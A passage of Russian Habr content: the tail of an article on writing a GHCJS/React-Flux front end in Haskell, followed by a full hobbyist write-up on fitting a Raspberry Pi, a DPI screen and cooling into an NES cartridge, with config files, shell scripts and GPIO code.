* [Haste](https://github.com/valderman/haste-compiler) — почти полный Haskell
* [Fay](https://github.com/faylang/fay) — подмножество Haskell
* [PureScript](https://github.com/purescript/purescript) — Haskell с семантикой JavaScript
* [Elm](https://github.com/elm-lang/elm-compiler) — Haskell подобный, нишевый язык для браузерных приложений
Мы будем использовать GHCJS, где наш пакет API можно использовать без изменений.
Основой для построения интерфейса послужит пакет [React-Flux](http://hackage.haskell.org/package/react-flux) байндингов к [React](https://facebook.github.io/react/)/[Flux](https://facebook.github.io/flux/).
React-Flux сохраняет семантику и архитектуру [Flux](https://facebook.github.io/flux/docs/overview.html) приложений и использует те же именования компонентов.
### Некоторые достоинства Haskell в применении к JavaScript
Рассмотрим несколько достоинств, кроме очевидной строгой типизации, использования Haskell.
#### DSL для React, [JSX](https://facebook.github.io/react/docs/jsx-in-depth.html) не нужен
В силу компактности синтаксиса, использования монадического или аппликативного контекста вычислений Haskell является одним из чемпионов по производству DSL «из ниоткуда».
Сравним эквивалентные фрагменты кода [AudioPlayer](https://github.com/eryx67/vk-api-example/tree/master/src/VK/App/Widgets/AudioPlayer), портированного в наше приложение из JavaScript плеера [react-audio-player](https://github.com/humanhighway/react-audio-player.git), с оригиналом.
**JSX**
```
```
**Haskell**
```
div_ (("className" $= "audio-volume-bar-container"):mouseLeaveHlr) $ do
bootstrap_ "Button" ["bsSize" $= "small"
, onClick toggleHlr
] $
bootstrap_ "Glyphicon" ["glyph" $= toggleIcon] mempty
div_ ["className" $= classes] $ do
div_ ["className" $= "audio-volume-min-max"
, onClick (\_ _ ->
dispatch st (AdjustVolume $ fromFactor (1::Int)))] $
bootstrap_ "Glyphicon" ["glyph" $= "volume-up"] mempty
div_ ["className" $= "audio-volume-percent-container"
, onClick adjustVolumeToHlr] $
div_ ["className" $= "audio-volume-percent"
, "style" @= style] mempty
div_ ["className" $= "audio-volume-min-max"
, onClick (\_ _ ->
dispatch st (AdjustVolume $ fromFactor (0::Int)))] $
bootstrap_ "Glyphicon" ["glyph" $= "volume-off"] mempty
```
Читаемость кода эквивалентна, но во втором случае мы обходимся без специализированного транслятора, не выходим за рамки языка, имеем полную поддержку от средств разработки.
При портировании плеера я старался сохранять именования и логику, так что заинтересованный читатель сможет легко провести сравнение реализаций и сделать собственные выводы.
#### Решение проблемы «callback hell»
Обойти кодирование в CPS стиле нам помогут следующие свойства Haskell.
* Рантайм GHCJS поддерживает весь внушительный арсенал Haskell в области [параллельных/конкурентных вычислений](http://chimera.labs.oreilly.com/books/1230000000929). Мы можем писать код в обычной семантике конкурентных процессов, используя стандартные вызовы [forkIO](https://hackage.haskell.org/package/base-4.8.1.0/docs/Control-Concurrent.html) для их создания и обычные примитивы синхронизации Haskell — IORef, MVar, STM итд
* Специальный синтаксис оператора монадических вычислений [do](https://en.wikibooks.org/wiki/Haskell/do_notation) как раз и представляет собой транслятор последовательности вычислений во вложенные CPS-вызовы
* Упоминавшиеся ранее способы [прерывания последовательности вычислений](#maybe) также помогают сделать из «лапши» красивое блюдо.
Соберем все вместе и приведем, как пример, AJAX функцию вызова операций нашего API из приложения.
**runAPI**
```
runAPI :: State -> VKAction -> VK.VKAPI ApiState a -> (a -> VKAction) -> IO ()
runAPI State{..} action apiAction hlr =
void . forkIO $ do
res <- runMaybeT $ do
-- авторизованы ли мы?
as <- hoistMaybe apiState
_ <- hoistMaybe $ if VK.isAuthorized as then Just True else Nothing
lift $ do
-- AJAX в работе, покажем спиннер
alterStore store (SetAjaxRunning True)
-- выполняем запрос
(res, nas) <- VK.runVKAPI as apiAction
alterStore store (SetApiState nas)
-- закончили, уберем спиннер
alterStore store (SetAjaxRunning False)
-- покажем ошибку или передадим результат обработчику
either apiError handleAction res
-- нужна авторизация, авторизуемся и повторим
when (isNothing res) $
alterStore store (Authorize action)
where
handleAction v = alterStore store (hlr v)
```
### Маршрутизация в приложении, используем FFI
Так как приложение у нас одностраничное, то мы должны озаботиться использованием истории браузера. Создадим модуль [Router](https://github.com/eryx67/vk-api-example/blob/master/src/VK/DOM/Router.hs).
[Actions](https://facebook.github.io/flux/docs/overview.html#actions) нашего приложения будут представлены типом ADT [VKAction](https://github.com/eryx67/vk-api-example/blob/master/src/VK/App/Actions.hs).
Для взаимного отображения URL из **window.location.hash** в ADT задействуем популярный пакет [web-routes](http://hackage.haskell.org/package/web-routes).
Соответсвующий макрос из пакета создаст код для такого маппинга.
```
$(derivePathInfo ''VKAction)
```
Этого будет достаточно для преобразования Actions в URL, пример использования — создание линка.
```
a_ ["href" $= actionRoute store parentRouter (Audios $ SetAudioSelector asel)] label
```
Для реакции на изменение **window.location.hash** нам нужно будет навесить обработчик на **window.onhashchange**. FFI в GHCJS довольно прост, следующий код вряд ли нуждается в комментариях.
```
foreign import javascript unsafe
"window.onhashchange = function() {$1(location.hash.toString());}"
js_attachtLocationHashCb :: (Callback (JSVal -> IO ())) -> IO ()
onLocationHashChange :: (String -> IO ()) -> IO ()
onLocationHashChange fn = do
cb <- syncCallback1 ThrowWouldBlock (fn . JSS.unpack . unsafeCoerce)
js_attachtLocationHashCb cb
```
### Модульность приложения
**React-Flux** дает нам возможность создать несколько контроллеров, **Store**, со своими **Actions** и диспетчеризацией и далее организовать их совместную работу через конкурентные процессы.
Так виджет ввода поисковой строки [IncrementalInput](https://github.com/eryx67/vk-api-example/blob/master/src/VK/App/Widgets/IncrementalInput.hs) приложения использует таймер [IdleTimer](https://github.com/eryx67/vk-api-example/blob/master/src/VK/App/Widgets/Internal/IdleTimer.hs), который является полноценным контроллером со своими **Store** и **Actions** и работает независимо от основного контроллера приложения.
### Тестирование приложения
Для тестирования приложения мы опять будем использовать **HSpec** и [Selenium Webdriver](http://www.seleniumhq.org/projects/webdriver/) через [hspec-webdriver](http://hackage.haskell.org/package/hspec-webdriver).
**Тесты приложения**
```
spec :: Spec
spec = session "VK application tests" $ using Chrome $ do
it "login to Vkontakte with user credentials" $ runWD $ do
dir <- liftIO getCurrentDirectory
openPage $ "file://" ++ dir ++ "/example/vk.html"
cw <- getCurrentWindow
findElem (ByCSS "div.authorization > div.panel-body > a.btn") >>= click
liftIO $ threadDelay 3000000
ws <- windows
length ws `shouldBe` 2
let Just vkW = find (/= cw) ws
focusWindow vkW
findElem (ByName "email") >>= sendKeys userName
findElem (ByName "pass") >>= sendKeys userPass
findElem (ByCSS "form input.button") >>= click
authUrl <- getCurrentURL
closeWindow vkW
focusWindow cw
findElem (ByCSS "input.form-control") >>= sendKeys (T.pack authUrl)
liftIO $ threadDelay 3000000
findElem (ByCSS "button") >>= click
liftIO $ threadDelay 3000000
it "selects \"AnyAudio\"" $ runWD $ do
findElem (ByCSS "a[href=\"#/audios/set-audio-selector/any-audio\"]") >>= click
liftIO $ threadDelay 3000000
pagerEls <- findElems (ByCSS "a[href^=\"#/audios/get-audio/\"]")
length pagerEls `shouldBe` 11
activeEls <- findElems (ByCSS "li.active a[href=\"#\"]")
length activeEls `shouldBe` 1
```
Пара скриншотов нашего скромного поделия.
**Экран авторизации**
**Основной экран**
Заключение
----------
Надеюсь данный конспективный обзор послужит декларированной в начале цели.
Предваряя прогнозируемые пожелания читателей, пойду и убью себя сам о сад камней. | https://habr.com/ru/post/272871/ | null | ru | null |
# Raspberry Pi в картридже от NES
Здравствуйте! Это ретро игровая приставка на базе Raspberry Pi. В картридже от игровой приставки NES. Для игры может использоваться интегрированный экран. При выводе же видео по HDMI он показывает изображение обложки игры, а также температуру ядра, см. фото. Предлагаю немного понастальгировать и почитать про сборку и настройку такого устройства. Осторожно, далее много трафика и фото.
### Ностальгия
В детстве мы, кому сейчас за 25-35, любили играть в приставки. Тогда не было новомодного слова консоли, поэтому буду называть их так. Мое знакомство с приставками началось с Денди (клон NES). Super Mario Bros, Contra, Ducktales, Battletoads это лишь [часть хитов](https://www.digitaltrends.com/gaming/best-nes-games-ever/) того времени. Затем всем двором собирались поиграть у моего друга в Сегу (Sega Mega Drive), в такие хиты как Sonic, Ultimate Mortal Combat 3, Contra Hard Corps и [другое](https://www.complex.com/pop-culture/the-100-best-sega-genesis-games/). А уж когда вышла Play Station, надо сказать, она добралась к нам не сразу, то серия Resident Evil вызывала какой-то по истине пугающий восторг.
Смахнуть слезу ностальгии мне помогла эта картинка. Надо сказать, я не первый, кто придумал вставить Raspberry Pi в корпус от картриджа NES. Да, это не мое устройство. И этот картридж подходит для этих целей практически идеально, он маленький и красивый. А внутри много места. Судите сами.
Внутри Raspberry Pi Zero, USB хаб, и пара удлинителей. Все палки посажены на ~~гов~~ термоклей.
### Сборка
Захотелось собрать нечто тоже самое или похожее. Был выбран такой же картридж от NES. Другие варианты либо совсем маленькие, либо выглядят не очень. В качестве пламенного сердца ретро-машины выступил Raspberry Pi 3B. Были закуплены на али, также, USB разъемы с удобными выводами для пайки. Вот это вот всё.
Ах да, будете повторять этот проект, не берите хитовые картриджи. Их и так мало осталось. Возьмите что-нибудь более распространенное или менее известное. Есть также вариант взять картридж с али, но оригинал, он душу греет. Мой 1986 года выпуска.
Также вам понадобится специальная отвертка *nes screwdriver*, если картридж закручивается на три шурупа. Есть также ранние варианты картриджей с пятью шурупами, они откручиваются обычной плоской отверткой. У меня как раз такой.
С картриджа канцелярским ножом и полотном от ножовки по металлу срезаны и спилены все мешающие части.
С Raspberry Pi были спаяны выступающие разъемы. Знатоки говорят, что можно обойтись и без паяльной станции, если сначала аккуратненько разобрать разъемы кусачками, а потом выпаять по одной ножке. Всё наклеено на термоклей. Между разъемами USB и малинкой проложил изолятор из неплавящегося пластика. Не забывайте соединять GND Raspberry Pi и корпус USB разъема (на картинке выше не показано). Иначе некоторые джойстики не будут работать.
На малинку был установлен последний [Retropie](https://retropie.org.uk/). Поначалу стоял [Recalbox](https://www.recalbox.com/), но я от него отказался, поскольку у него не поддерживается вибрация джойстиков на приставках Playstation 1. Но надо сказать, Recalbox чуть удобнее, в плане того, что работает из коробки и не надо ничего настраивать. В Retropie куча настроек, настраивать можно бесконечно. Этим он мне и понравился.
Вот что получилось. Подключаются любые джойстики с xinput.
### Экран
Аппетит приходит во время еды. Как насчет встроить экранчик в картридж? Для игры или вывода изображения обложки игры. Был заказан [такой экран](https://www.banggood.com/Geekwrom-HD-3_5-Inch-TFT-Display-Shield-800x480-For-Raspberry-Pi-3B-2B-With-2-Keys-And-Remote-IR-p-1069730.html?utm_source=google&utm_medium=cpc_elc&utm_content=gary&utm_campaign=ds-cpa-elc2-other&gclid=CjwKCAjw3cPYBRB7EiwAsrc-uc1nGOtD-Sv-wMVBOmVKkX3H1kddfjtJTUhO0Gk57ohe1PkkBrUK4RoCZkMQAvD_BwE&cur_warehouse=CN). Это 800\*480 3,5 дюймовый экран с параллельным интерфейсом DPI, который использует почти все GPIO Raspberry Pi. У меня он работает в режиме 120 Hz (но рендер все равно в 60 Hz), отклик мгновенный. Единственный минус — это 6 битная матрица. Всего 262 144 цвета. Хотя, в общем-то, это особо не заметно, судите сами.
[](https://habrastorage.org/webt/bs/lh/qa/bslhqal3q5wbgn7lvlisrcktvqk.jpeg)*Скриншот из игры Comix Zone (Кликабельно)*
Все ножки с экрана и Raspberry Pi были спаяны. Экран был припаян двумя шлейфами с раздербаненного старенького кабеля IDE. Под экран установлены закладные в 5мм, он не касается нижней стенки картриджа. По периметру дисплея наклеена изолента, чтобы не было боковых засветов. Все приклеено на термоклей. На верхней крышке я прорезал окно и вклеил стекло толщиной 2мм.
Для того, чтобы запустить вывод изображения на этот экран, надо поправить конфиг */boot/config.txt*. Рекомендую для обладателей Windows программу [WinSCP](https://winscp.net/eng/docs/lang:ru), которая соединяясь с Raspberry Pi по SSH, дает представление файлов как в Total commander'e. Очень удобно. Особенно, если запустить ее в режиме *shell sudo su -*, которая дает доступ ко всем файлам.
К сожалению, когда включен DPI экран, вывод видео по HDMI не работает. Поэтому я создал в папке */boot/* два конфига, один *config\_hdmi.txt*, второй *config\_dpi.txt*. В конфиге *config\_hdmi.txt* выставлено разрешение 1080p60Hz и убран overscan. *config\_dpi.txt* содержит настройки DPI экрана.
**config\_dpi.txt**
```
# uncomment if you get no picture on HDMI for a default "safe" mode
#hdmi_safe=1
disable_overscan=1
# uncomment to force a specific HDMI mode (this will force VGA)
#hdmi_group=1
#hdmi_mode=1
# Sound output. Set to 0 or comment for autodetect, 1 for DVI, 2 to force HDMI.
#hdmi_drive=2
# Using /etc/modules is deprecated and no longer supported on 4.4 kernel
# So manually enable audio
dtparam=audio=on
config_hdmi_boost=0
# force hdmi while the tv can take time before sending the signal on the hdmi output
hdmi_force_hotplug=1
# uncomment for composite PAL
#sdtv_mode=2
# uncomment for lirc-rpi
#dtoverlay=lirc-rpi
#3.5 HD tft screen 800x480
dtoverlay=dpi24
overscan_left=0
overscan_right=0
overscan_top=0
overscan_bottom=0
#Banggood
framebuffer_width=800
framebuffer_height=480
dtparam=spi=off
dtparam=i2c_arm=off
enable_dpi_lcd=1
display_default_lcd=1
dpi_output_format=0x6f015
dpi_group=2
dpi_mode=87
hdmi_timings=480 0 16 16 24 800 0 4 2 2 0 0 0 120 0 46080000 6
display_rotate=3
# if you plug your tv at the same time as your rpi and that the rpi switches from the hdmi or give a low resolution because tv had no enough time to initialize it
boot_delay=3
# uncomment if you don't want the rainbow at startup
#disable_splash=1
# default CEC name
#cec_osd_name=recalbox
dtparam=spi=off
# Overclock
gpu_mem_256=128
gpu_mem_512=256
gpu_mem_1024=256
overscan_scale=1
gpu_mem=256
start_x=0
enable_uart=0
avoid_safe_mode=1
kernel=zImage
```
**config\_hdmi.txt**
```
# For more options and information see
# http://rpf.io/configtxt
# Some settings may impact device functionality. See link above for details
# uncomment if you get no picture on HDMI for a default "safe" mode
#hdmi_safe=1
# uncomment this if your display has a black border of unused pixels visible
# and your display can output without overscan
disable_overscan=1
# uncomment the following to adjust overscan. Use positive numbers if console
# goes off screen, and negative if there is too much border
#overscan_left=16
#overscan_right=16
#overscan_top=16
#overscan_bottom=16
# uncomment to force a console size. By default it will be display's size minus
# overscan.
#framebuffer_width=1280
#framebuffer_height=720
# uncomment if hdmi display is not detected and composite is being output
hdmi_force_hotplug=1
# uncomment to force a specific HDMI mode (this will force VGA)
hdmi_group=1
#1080p60fps
hdmi_mode=16
# uncomment to force a HDMI mode rather than DVI. This can make audio work in
# DMT (computer monitor) modes
#hdmi_drive=2
# uncomment to increase signal to HDMI, if you have interference, blanking, or
# no display
#config_hdmi_boost=4
# uncomment for composite PAL
#sdtv_mode=2
#uncomment to overclock the arm. 700 MHz is the default.
#arm_freq=800
# Uncomment some or all of these to enable the optional hardware interfaces
#dtparam=i2c_arm=on
#dtparam=i2s=on
dtparam=spi=off
# Uncomment this to enable the lirc-rpi module
#dtoverlay=lirc-rpi
# Additional overlays and parameters are documented /boot/overlays/README
# Enable audio (loads snd_bcm2835)
dtparam=audio=on
gpu_mem_256=128
gpu_mem_512=256
gpu_mem_1024=256
overscan_scale=1
gpu_mem=256
start_x=0
enable_uart=0
```
Переключать конфиги будет наш автоскрипт который доступен по сети
\\192.168.x.xxx\configs\all\autostart.sh или в папке на устройстве /opt/retropie/configs/all/autostart.sh
**autostart.sh**
```
# Check to see if display is not connected
_NOHDMI=$(tvservice -n ) || true
# Check to make sure it's not already in LCD mode
_ISLCD=$(tvservice -s | grep "LCD") || true
# HDMI is connected - turn off backlight LCD
_HDMI=$(tvservice -s | grep "0x12000a") || true
if [ -z "$_NOHDMI" ]; then
if [ "$_ISLCD" ]; then
printf "NO HDMI connected, LCD DPI display config already active\n"
#do nothing
else
printf "NO HDMI connected, Switching to LCD DPI display\n"
#change config to Hyperpixel and reboot since no display detected
sudo cp /boot/config_dpi.txt /boot/config.txt
sudo reboot now
fi
elif [ "$_NOHDMI" ]; then
if [ "$_ISLCD" ]; then
printf "HDMI is connected, but LCD DPI config is being used\n"
#we need to switch to HDMI display config and reboot
sudo cp /boot/config_hdmi.txt /boot/config.txt
sudo reboot now
elif [ "$_HDMI" ]; then
printf "HDMI is connected, HDMI config detected, so turning off LCD BL\n"
#we need to shut off the backlight on the Hyperpixel display since we aren't using it
#don't panic, a reboot automatically resets this - it isn't a persistent value
#also to do this the config.txt file needs to load the backlight module on startup
#to control it even if you aren't loading the overlay driver for the display
# this comment
#echo 1 | sudo tee /sys/class/backlight/rpi_backlight/bl_power
else
#debugging catchall - shouldn't happen since we expect 0x12000a - but you never know...
printf "HDMI is connected, HDMI config detected, your tv might not like 1920x1080 resolution\n"
fi
else
#do nothing - based on previous if statements - you either have HDMI or you don't have it...
printf "Debug catchall point - sorry I can't help you out - I haven't run into the error state yet!\n"
fi
emulationstation #auto
```
Также был написан скрипт *switchscreen.sh*, который надо положить в */home/pi/RetroPie/retropiemenu/*. Этот скрипт переключает конфиги вручную и доступен из главного меню настроек Retropie. Надо после его запуска вытащить кабель HDMI, а то после перезагрузки всё переключится обратно автоматически. Не забудьте скрипту прописать
```
chmod +x /home/pi/RetroPie/retropiemenu/switchscreen.sh
```
**switchscreen.sh**
```
#!/bin/bash
# Check to see if display is dpi
_DPI=$(grep dpi /boot/config.txt) || true
if [ "$_DPI" ]; then
printf "Switch to HDMI\n"
sudo cp /boot/config_hdmi.txt /boot/config.txt
sudo reboot now
else
printf "Switch to DPI LCD\n"
sudo cp /boot/config_dpi.txt /boot/config.txt
sudo reboot now
fi
exit 0
```
В *autostart.sh* видны следы кода, отключающие подсветку DPI экрана, когда включен HDMI. Этот скрипт я скопипастил в интернете, так что на нашем экране это не работает. Можно было бы заморочиться с транзисторами, чтобы отключать питание экрана, но зачем, если нам надо выводить картинку обложки в данный момент запущенной игры. Надо только разобраться, что такое DPI.
#### Parallel Display Interface (DPI)
DPI, как было сказано, это параллельный интерфейс для экранов. Информации по этому интерфейсу [раз](https://www.raspberrypi.org/documentation/hardware/raspberrypi/dpi/), [два](http://blog.reasonablycorrect.com/raw-dpi-raspberry-pi/) и [обчелся](https://www.nxp.com/wcm_documents/techzones/microcontrollers-techzone/Presentations/graphics.lcd.technologies.pdf). Ну а теперь еще и здесь будет, на русском.
Все попытки включить DPI консольными командами во время работы HDMI результатов не дали. Возможно делал что-то не то. Был принят к реализации план Б: выводить изображение на малый экран, дергая программно за ножки GPIO.
DPI характеризуется тем, что один пиксель передается дисплею за один такт сигнала clock. Поскольку у нас матрица 6-битная, то это 18 выводов для трех цветов, а также присутствуют выводы display enable (обозначает валидную дату), h\_sync (устанавливает нулевой адрес горизонтальной строки в контроллере дисплея), v\_sync (устанавливает нулевой адрес вертикальной строки в контроллере дисплея). Защелкивание данных происходит по заднему фронту сигнала clock. Это известно, если расшифровать строчку «dpi\_output\_format=0x6f015» из нашего *config\_dpi.txt* согласно этой терминологии.
**dpi\_output\_format**
```
output_format = (dpi_output_format >> 0) & 0xf;
rgb_order = (dpi_output_format >> 4) & 0xf;
output_enable_mode = (dpi_output_format >> 8) & 0x1;
invert_pixel_clock = (dpi_output_format >> 9) & 0x1;
hsync_disable = (dpi_output_format >> 12) & 0x1;
vsync_disable = (dpi_output_format >> 13) & 0x1;
output_enable_disable = (dpi_output_format >> 14) & 0x1;
hsync_polarity = (dpi_output_format >> 16) & 0x1;
vsync_polarity = (dpi_output_format >> 17) & 0x1;
output_enable_polarity = (dpi_output_format >> 18) & 0x1;
hsync_phase = (dpi_output_format >> 20) & 0x1;
vsync_phase = (dpi_output_format >> 21) & 0x1;
output_enable_phase = (dpi_output_format >> 22) & 0x1;
output_format:
1: DPI_OUTPUT_FORMAT_9BIT_666
2: DPI_OUTPUT_FORMAT_16BIT_565_CFG1
3: DPI_OUTPUT_FORMAT_16BIT_565_CFG2
4: DPI_OUTPUT_FORMAT_16BIT_565_CFG3
5: DPI_OUTPUT_FORMAT_18BIT_666_CFG1
6: DPI_OUTPUT_FORMAT_18BIT_666_CFG2
7: DPI_OUTPUT_FORMAT_24BIT_888
rgb_order:
1: DPI_RGB_ORDER_RGB
2: DPI_RGB_ORDER_BGR
3: DPI_RGB_ORDER_GRB
4: DPI_RGB_ORDER_BRG
output_enable_mode:
0: DPI_OUTPUT_ENABLE_MODE_DATA_VALID
1: DPI_OUTPUT_ENABLE_MODE_COMBINED_SYNCS
invert_pixel_clock:
0: RGB Data changes on rising edge and is stable at falling edge
1: RGB Data changes on falling edge and is stable at rising edge.
hsync/vsync/output_enable_polarity:
0: default for HDMI mode
1: inverted
hsync/vsync/oe phases:
0: DPI_PHASE_POSEDGE
1: DPI_PHASE_NEGEDGE
```
Последовательность битов приведена на рисунке выше. На каждую строчку, начинающуюся с VSYNC, приходится полный цикл тактов строчки HSYNC. Это на один кадр. Back и Front porch это так называемые отступы у дисплея, которые есть в памяти контроллера, но их нет на экране.
Теперь расшифруем строку «hdmi\_timings=480 0 16 16 24 800 0 4 2 2 0 0 0 120 0 46080000 6» из нашего config\_dpi.txt. Здесь ничего сложного нет, просто записываем параметры по порядку.
Какие GPIO ноги используются для передачи цветов, показано на этой картинке. У нас Mode 5. Внимание, это не ноги по порядку, а именно обозначения GPIO! Остальные сигналы Clock — GPIO 0, DE — GPIO 1, VSYNC — GPIO 2, HSYNC — GPIO 3.
Быстренько был установлен питон, необходимая GPIO библиотека и написан hello-скрипт хотя бы окрашивающий экран в синий цвет. А еще у меня был когнитивный диссонанс, когда Notepad++ на Windows не показывал отступы, там где они были в nano, при этом при переносе строк делал табуляцию, а не пробелы. Кстати, VSCode тем же самым грешит, как поправить, не нашел.
**Python script**
```
from gpiozero import LED
from time import sleep
sleep_time = 0.0
clock = LED(0)
de = LED(1)
vsync = LED(2)
hsync = LED(3)
red2 = LED(16)
red3 = LED(17)
red4 = LED(18)
red5 = LED(19)
red6 = LED(20)
red7 = LED(21)
green2 = LED(10)
green3 = LED(11)
green4 = LED(12)
green5 = LED(13)
green6 = LED(14)
green7 = LED(15)
blue2 = LED(4)
blue3 = LED(5)
blue4 = LED(6)
blue5 = LED(7)
blue6 = LED(8)
blue7 = LED(9)
def v_sync(frame):
vsync.on()
for n in range(frame):
clock.on()
#sleep(sleep_time)
clock.off()
#sleep(sleep_time)
#print("vsync")
vsync.off()
pass
def h_sync(frame):
hsync.on()
for n in range(frame):
clock.on()
#sleep(sleep_time)
clock.off()
#sleep(sleep_time)
#print("hsync")
hsync.off()
pass
def clc(frame):
for n in range(frame):
clock.on()
#sleep(sleep_time)
clock.off()
#sleep(sleep_time)
pass
red2.off()
red3.off()
red4.off()
red5.off()
red6.off()
red7.off()
green2.off()
green3.off()
green4.off()
green5.off()
green6.off()
green7.off()
blue2.on()
blue3.on()
blue4.on()
blue5.on()
blue6.on()
blue7.on()
clock.off()
de.off()
#de.on()
sleep(sleep_time)
v_sync(2)
clc(2)
for row in range(5):
v_sync(2)
# v_back_porch(2)
clc(2)
for column in range(800):
h_sync(16)
# h_back_porch(16)
clc(16)
# LCD column
de.on()
clc(480)
de.off()
# h_front_porch(24)
clc(24)
# v_front_porch(4)
clc(4)
de.off()
red2.off()
red3.off()
red4.off()
red5.off()
red6.off()
red7.off()
green2.off()
green3.off()
green4.off()
green5.off()
green6.off()
green7.off()
blue2.off()
blue3.off()
blue4.off()
blue5.off()
blue6.off()
blue7.off()
```
Слишком ме-е-едлено, Python. Для меня было неожиданностью то, что уже отрисованные пиксели исчезают. Хотя, чего я ждал, это же очевидно.
Принято решение переписать всё на С. Работает резвее, примерно несколько кадров в секунду. Экран рябит как на старых ЭЛТ мониторах или радарах. То что надо. Ретро! Код выложил на [GitHub](https://github.com/8street/lcd_screen).
Доступ к GPIO осуществляется напрямую, через регистры SoC чипа BCM2837. Примеры кода брал [здесь](https://elinux.org/RPi_GPIO_Code_Samples).
Началось всё с совсем крохотной программки, но теперь на дисплей выводятся еще загрузка процессора и памяти в виде маленьких скролл-баров. Температура процессора рисуется вот таким шрифтом.
Чтобы запустить код, надо скопировать содержимое репозитория в папку /home/pi/lcd\_screen/ (Кто знает как на C под nix написать путь относительно бинарника, а не рабочей папки? Поэтому пока только в эту папку) и выполнить следующие команды.
```
gcc ./lcd_screen/lcd.c -o ./lcd_screen/lcd
chmod +x ./lcd_screen/lcd
```
Либо скачать сразу бинарник из релизов. Чтобы запустить, надо набрать следующее. SUDO требуется для доступа к GPIO.
```
sudo ./lcd_screen/lcd path/file.bmp usec_per_frame
```
Где «path/file.bmp» — путь до файла изображения, работает только с BMP форматом, «usec\_per\_frame» — задержка между кадрами в микросекундах, чтобы напрасно не грузить процессор.
Автоматизируем запуск нашей программки lcd, чтобы она выводила нужную обложку, когда игра запущена. Конечно же, для загрузки обложек в Retropie используется встроенный scrapер.
Установим конвертер изображений. Он будет конвертить все форматы в bmp, поддерживаемый программой. Заодно и изменять размер, чтобы изображения были на весь экран.
```
sudo apt-get install imagemagick
```
В директории */opt/retropie/configs/all/* создадим два файла: *runcommand-onstart.sh* и *runcommand-onend.sh*. Эти скрипты Retropie автоматически выполняет при загрузке/завершении любой игры. Не забудьте прописать chmod +x каждому файлу.
**runcommand-onstart.sh**
```
#!/bin/sh
system="$1"
emulator="$2"
romname="$3" #with path
#echo $system
# LCD programm here:
#find current config: dpi or hdmi
_DPI=$(grep dpi /boot/config.txt) || true
if ! [ "$_DPI" ]; #if hdmi
then
sudo killall lcd
# remove path
filename=$(basename "$romname")
# remove extension
filename="${filename%.*}"
# add image path
file_png="/home/pi/.emulationstation/downloaded_images/$system/$filename-image.png"
file_jpg="/home/pi/.emulationstation/downloaded_images/$system/$filename-image.jpg"
#if system snes and n64 then rotate image 270 degree
if [ "$system" = "snes" ] || [ "$system" = "n64" ]
then
if test -f "$file_png"; #fing file
then
convert "$file_png" -resize '800x480' -type TrueColor -alpha Remove -rotate 270 /home/pi/lcd_screen/work.bmp
elif test -f "$file_jpg";
then
convert "$file_jpg" -resize '800x480' -type TrueColor -alpha Remove -rotate 270 /home/pi/lcd_screen/work.bmp
else
convert "/opt/retropie/configs/$system/launching.png" -resize '480x800' -type TrueColor -alpha Remove -rotate 180 /home/pi/lcd_screen/work.bmp
fi
else
if test -f "$file_png";
then
convert "$file_png" -resize '480x800' -type TrueColor -alpha Remove -rotate 180 /home/pi/lcd_screen/work.bmp
elif test -f "$file_jpg";
then
convert "$file_jpg" -resize '480x800' -type TrueColor -alpha Remove -rotate 180 /home/pi/lcd_screen/work.bmp
else
convert "/opt/retropie/configs/$system/launching.png" -resize '480x800' -type TrueColor -alpha Remove -rotate 180 /home/pi/lcd_screen/work.bmp
fi
fi
#launch my lcd project
sudo /home/pi/lcd_screen/lcd /home/pi/lcd_screen/work.bmp 400000 &
fi
```
**runcommand-onend.sh**
```
#!/bin/sh
_DPI=$(sudo grep dpi /boot/config.txt) || true
if ! [ "$_DPI" ];
then
sudo killall lcd
sudo /home/pi/lcd_screen/lcd /home/pi/lcd_screen/retropie.bmp 50000 &
# cp /home/pi/lcd_screen/retropie.bmp /home/pi/lcd_screen/work.bmp
fi
```
В стартовом скрипте сначала проверяется наличие DPI соединения, затем ищется изображение с форматами jpeg или png, поворачивается на нужный угол, изменяется его размер и конвертится в формат bmp, потом запускается моя программа с необходимыми параметрами.
### Охлаждение
Raspberry Pi 3B мощнее, чем Zero, и ему необходимо хорошее охлаждение. Особенно в таком закрытом корпусе. С небольшим радиатором, видимым на фото, через полчаса игры на любом эмуляторе температура ядра достигала 80 градусов и начинался тротлинг.
Был заказан центробежный вентилятор 40\*30\*10 мм, но пока он не приехал, я просто попробовал выпилить из 3 мм алюминия небольшую пластину, размером 80\*30 мм. К тому времени все пины GPIO я выпаял, поэтому они уже не мешались установке пластины. Дополнительно еще выпилил кусочек 20\*10мм для контакта с чипом и сделал из пластин бутерброд. Это превзошло все мои ожидания, максимум 65 градусов на ядре.
Так это выглядит внутри.
### В итоге что
Как это играется? Отлично! С криками, битьем геймпадов, взаимными упреками. Прямо как когда-то.
Никаких задержек и лагов замечено не было.
Экранчик, конечно, маловат, всего три с половиной дюйма. Разбаловали нас смартфоны с пятью дюймами, но играть можно. Текст читается, даже мелкий. Предпочитаю HDMI.
Можно прийти к другу, поиграть, портативность позволяет. Сопутствующие аксессуары: шлейфы, кабели, джойстики, зарядка занимают больше места, чем сама приставка.
### Звук
К сожалению, штатный звук Raspberry Pi оставляет желать лучшего. В качестве звуковой системы применена ШИМ модуляция с пассивной фильтрацией. Поэтому был закуплен USB ЦАП на PCM2704. Главным образом, из-за своих размеров.
Очень не хватает вывода звука при игре на маленьком LCD экранчике, поэтому куплен также микроусилитель 3W на NS8002 и подобран динамик от планшета на 8 Ом.
**USB ЦАП и NS8002**
Всё это поместится под LCD экраном. Приедет, буду ставить.
### Подпиливаем Retropie
Сборка окончена. Далее приведу некоторые менее интересные для развлекательного чтения особенности настроек Retropie.
**Шейдеры**
Большинство приставок, которые способен эмулировать Raspberry Pi, выдает разрешение 320x240 пикселей. По сегодняшним меркам это очень мало. Все игры приобретают ярко выраженную пикселизацию на современных экранах.
Создатели Retroarch, который входит в состав Retropie, озаботились этим вопросом и добавили поддержку шейдеров. Например, мне очень нравится предустановленный *xbr-lv1-noblend.glslp*. Он, буквально, вытягивает детали из картинки. См. ниже.
*Скриншот из игры Castlevania: Symphony of the Night, советую в нее сыграть*
Чтобы установить шейдер, зайдите в меню Retropie -> *Configuration editor*. Выберите *Configure basic libretro emulator options*, после выберите *Configure default options for all libretro emulators*. Затем установите *Video Shader Enable* в «true» и *Video Shader File* на желаемый шейдер. Установите также *Video Smoth* в «false», поскольку он только смазывает картинку. Можно даже выбрать что-то типа scanline шейдера, который эмитирует работу CRT телевизоров. Но это на любителя.
